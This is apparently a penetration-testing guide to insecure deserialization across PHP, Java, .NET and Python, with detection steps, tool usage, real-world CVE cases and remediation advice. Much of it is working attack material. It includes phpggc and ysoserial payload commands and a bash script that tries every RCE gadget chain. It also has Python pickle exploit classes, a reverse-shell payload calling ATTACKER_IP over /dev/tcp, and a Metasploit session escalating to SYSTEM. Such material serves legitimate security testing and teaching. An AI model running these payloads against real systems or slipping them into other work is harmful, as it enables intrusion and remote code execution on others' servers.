- Understanding the Vulnerability
- Detection Phase
- Exploitation Phase by Language
- Real-World Exploitation Examples
- Tool Usage Guide
- Burp Suite Methodology
- Testing Checklist
Insecure deserialization occurs when an application deserializes user-controlled data without proper validation. The deserialization process itself can initiate an attack, even before the application's own code interacts with the malicious object .
Why this is dangerous: Objects of any class available to the website will be deserialized and instantiated, regardless of which class was expected. An object of an unexpected class might cause an exception, but by this time, the damage may already be done.
- Look for Base64-encoded strings that decode to a specific format starting with
a:orO: - Example request showing serialized PHP data:
POST /data/task.php HTTP/2
Content-Type: application/x-www-form-urlencoded
datas=YToyOntzOjQ6ImNhbGwiO3M6MTE6InRyYWNrT3B0aW9uIjtzOjY6InN0YXR1cyI7YjowO30%3D- When decoded from base64, you get:
a:2:{s:4:"call";s:11:"trackOption";s:6:"status";b:0;} - The prefix
aindicates an associative array - this format corresponds to PHP'sserialize()function
- Look for hex signature:
AC ED 00 05 - Look for Base64 signature:
rO0 - Content-Type header:
application/x-java-serialized-object
- Base64 signature:
AAEAAAD///// - JSON keys:
$type,TypeObject
Using Burp Scanner with custom extensions:
- Install Java Deserialization Scanner from BApp Store
- Configure Collaborator for out-of-band detection :
- Burp Suite Professional includes a Collaborator server
- Generates unique DNS domains for payload testing
- Monitors for DNS/HTTP interactions indicating successful deserialization
How Collaborator-based detection works :
- Generate a Collaborator URL (e.g.,
4bg5589heitroj98ttwqau4unltch25r.oastify.com) - Create a payload that triggers DNS resolution of this domain upon deserialization
- Send payload to target
- If the Collaborator receives a DNS request, the vulnerability is confirmed
Step 1: Identify all parameters that accept encoded or binary data Step 2: Decode parameters and look for serialization patterns Step 3: Send malformed serialized data and monitor for:
- Stack traces in responses
- Response time differences
- Error messages revealing class names
phpggc is the primary tool for generating PHP gadget chain payloads.
Basic payload generation:
phpggc -a -b -u -f Monolog/RCE8 'system' 'nslookup collaborator.domain.com'Options explained:
-a: ASCII strings with hexadecimal representation-b: Base64 encoding-u: URL encoding-f: Force object destruction after deserialization
Brute force methodology for black-box testing :
When source code is unavailable, use this Bash script to test all RCE chains:
#!/bin/bash
function="system"
command="nslookup your-collaborator.com"
options="-a -b -u -f"
phpggc -l | grep RCE | cut -d' ' -f1 | xargs -L 1 phpggc -i | grep 'phpggc ' --line-buffered |
while read line; do
gadget=$(echo $line | cut -d' ' -f2)
if echo $line | grep -q "<function> <parameter>"; then
phpggc $options $gadget "$function" "$command"
elif echo $line | grep -q "<code>"; then
phpggc $options $gadget "$function('$command');"
elif echo $line | grep -q "<command>"; then
phpggc $options $gadget "$command"
else
phpggc $options $gadget
fi
doneReal-world exploitation :
During a black-box audit, a vulnerability was found where the application passed Base64-encoded serialized data. Using the brute force approach with Burp Intruder, the Monolog/RCE8 chain was identified as working. The command whoami confirmed execution as the IIS user.
Vulnerable code pattern :
import pickle
def load_user_data(file_path):
with open(file_path, 'rb') as f:
return pickle.load(f) # UNSAFE - trusts inputExploit generation :
import pickle
import os
class Exploit:
def __reduce__(self):
# Return a callable and arguments to execute
return (os.system, ("calc.exe",)) # Windows
# return (os.system, ("gnome-calculator",)) # Linux
with open("malicious.pkl", "wb") as f:
pickle.dump(Exploit(), f)Alternative gadget using numpy :
class RCE:
def __reduce__(self):
from numpy.f2py.crackfortran import param_eval
return (param_eval, ("os.system('ls')", None, None, None))Standard command structure:
java -jar ysoserial.jar [gadget_chain] '[command]' > payload.serCommon gadget chains by target:
CommonsCollections1- Apache Commons Collections 3.xCommonsCollections4- Apache Commons Collections 4.xGroovy1- Groovy librarySpring1- Spring framework
DNS-based detection payload :
java -jar ysoserial-fd-0.0.6.jar CommonsCollections6 "your-collaborator.com" dns base64,url_encodingReal-world: SharePoint ToolShell Exploit Chain
In July 2025, attackers exploited CVE-2025-53770 and CVE-2025-53771 in SharePoint Server 2016, 2019, and Subscription editions.
Indicators of compromise:
- URLs:
/_layouts/15/ToolPane.aspx/<random>?DisplayMode=Edit&<random>=/ToolPane.aspx - Referer headers:
/_layouts/SignOut.aspxor/_layouts/./SignOut.aspx - Request body contains
CompressedDataTableproperty starting withH4sI
Decoding malicious payloads :
# Copy CompressedDataTable property to file
cat property-encoded.txt | python3 -c "import sys, urllib.parse as ul; print(ul.unquote_plus(sys.stdin.read().strip()))" | base64 -d | zcat > property-decoded.txt
# Extract and decode MethodParameter
cat method-encoded.txt | base64 -d > method-decoded.txtCommand structure:
ysoserial.exe -g [gadget] -f [formatter] -c "[command]" -o base64Real-world: Gladinet CentreStack ViewState Deserialization (CVE-2025-30406)
This vulnerability affected Gladinet CentreStack through version 16.1.10296.56315 due to hardcoded machineKey values in the IIS web.config file.
Exploitation with Metasploit:
msf6 > use exploit/windows/http/gladinet_viewstate_deserialization_cve_2025_30406
msf6 > set rhosts 192.168.201.5
msf6 > set lhost 192.168.201.8
msf6 > exploit
[*] Started reverse TCP handler
[*] Meterpreter session opened
meterpreter > getuid
Server username: IIS APPPOOL\portal
meterpreter > getsystem
...got system via Named Pipe Impersonation
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
.NET Json.NET exploitation :
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" -o base64Vulnerability chain:
- SQL injection in Commerce TotalRevenue widget
- Unsanitized widget settings interpolated into SQL expressions
- PDO's multi-statement support allowed injecting serialized PHP object
unserialize()call in yii2-queue instantiated malicious gadget- GuzzleHttp FileCookieJar gadget chain wrote webshell to webroot
Impact: Three HTTP requests, no admin privileges, arbitrary command execution.
Vulnerability: picklescan <=0.0.33 used numpy.f2py.crackfortran.param_eval which could be exploited for RCE.
PoC:
class RCE:
def __reduce__(self):
from numpy.f2py.crackfortran import param_eval
return (param_eval, ("os.system('ls')", None, None, None))Technical details: The vulnerability involved sun.util.Calendar.ZoneInfo class. When deserialized from a privileged context (doPrivileged() block), an attacker could bypass security checks and instantiate arbitrary objects including custom class loaders.
Fix: JDK 1.6 u11 introduced a restricted AccessControlContext with minimal permissions.
Installation:
git clone https://github.com/frohoff/ysoserial
cd ysoserial
mvn clean packageList available gadget chains:
java -jar ysoserial.jarGenerate reverse shell payload:
java -jar ysoserial.jar CommonsCollections4 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | base64 -w 0Generate for specific Java version:
java -jar ysoserial.jar --jvarcs Groovy1 "command"Installation:
git clone https://github.com/pwntester/ysoserial.net
# Build in Visual Studio or use pre-compiled binaryList formatters:
ysoserial.exe -fGenerate ViewState payload:
ysoserial.exe -p ViewState -g ActivitySurrogateSelector -c "cmd /c whoami" --validationalg="SHA1" --validationkey="your_key"Installation:
git clone https://github.com/ambionics/phpggc
cd phpggc
chmod +x phpggcList all RCE chains:
./phpggc -l | grep RCEGenerate with custom function:
./phpggc Monolog/RCE8 system "id" -b -uSuperSerial (Java detection):
- Passive scanning for Java serialized objects
- Identifies
AC ED 00 05patterns - Flags potential deserialization endpoints
Java Deserialization Scanner:
- Active scanning with Collaborator integration
- Supports DNS-based detection
- Custom payload generation
Installation steps:
- Extender → BApp Store
- Search for "SuperSerial" or "Java Deserialization Scanner"
- Install and configure Collaborator settings
Step 1: Access Burp → Collaborator tab Step 2: Click "Copy to clipboard" to generate a unique domain Step 3: Generate payload using ysoserial fork:
java -jar ysoserial-fd-0.0.6.jar CommonsCollections6 "YOUR_COLLABORATOR_DOMAIN" dns base64,url_encodingStep 4: Send payload to target endpoint Step 5: Check Collaborator tab for DNS interactions
Scenario: Testing all phpggc chains against a vulnerable parameter
- Send request to Intruder
- Set payload position on the serialized parameter
- Payload type: "Custom iterator"
- Load payloads from phpggc output
- Attack type: Sniper
- Configure grep settings:
- Look for unique response differences
- Add Collaborator domain to grep
- Monitor response length variations
Key classes for Collaborator integration:
// Create Collaborator client
Collaborator collaborator = montoyaApi.collaborator();
CollaboratorClient client = collaborator.createClient();
// Generate payload URL
CollaboratorPayload payload = client.generatePayload();
String collaboratorDomain = payload.getUrl().getHost();
// Generate interactions
List<CollaboratorInteraction> interactions = client.getInteractions();
// Check for DNS hits
for (CollaboratorInteraction interaction : interactions) {
if (interaction.getType() == InteractionType.DNS) {
// Vulnerability confirmed!
}
}Phase 1: Identification
- Spider the application
- Review all parameters containing Base64 or binary data
- Decode and analyze for serialization patterns
Phase 2: Confirmation
- Generate Collaborator payloads
- Send with modified parameters
- Monitor Collaborator for interactions
Phase 3: Exploitation
- Identify working gadget chain
- Craft command execution payload
- Test with safe commands (ping, nslookup)
- Escalate to reverse shell
Phase 4: Pivot
- Extract application source if possible
- Identify additional classes for custom chains
- Use GadgetProbe for Java class discovery
- Identify all endpoints accepting user input
- Note Content-Type headers (especially application/x-java-serialized-object)
- Extract and decode all Base64 parameters
- Document serialization patterns found
- Send malformed serialized data to trigger errors
- Test with Collaborator-based DNS payloads
- Use Burp Scanner with deserialization checks enabled
- Review response differences and timing
- Determine language (PHP/Java/.NET/Python)
- Identify version if possible (error messages, headers)
- List potential gadget chains for detected libraries
- Generate DNS exfiltration payloads first (safe testing)
- Create command execution payloads
- Encode properly (Base64, URL encoding, binary)
- Test with harmless commands (ping, nslookup, sleep)
- Verify execution via Collaborator or time delays
- Upgrade to reverse shell or webshell
- Document successful payloads
- Extract source code if accessible
- Identify all deserialization entry points
- Document vulnerable libraries and versions
- Provide remediation recommendations
- Never deserialize untrusted data - prefer JSON or other safe formats
- Implement allowlists - only permit specific classes to be deserialized
- Use integrity checks - sign serialized data with HMAC
- Avoid privileged deserialization - don't use
doPrivileged()blocks - Update vulnerable libraries - Commons Collections, Json.NET, etc.
- PHP specific: Replace
unserialize()withjson_decode()or Symfony Serializer - Java specific: Use
ValidatingObjectInputStreamwith class allowlists - .NET specific: Disable
TypeNameHandlingin Json.NET
- OWASP Deserialization Cheat Sheet
- ysoserial GitHub Repository
- ysoserial.net GitHub Repository
- phpggc GitHub Repository
- Burp Suite Collaborator Documentation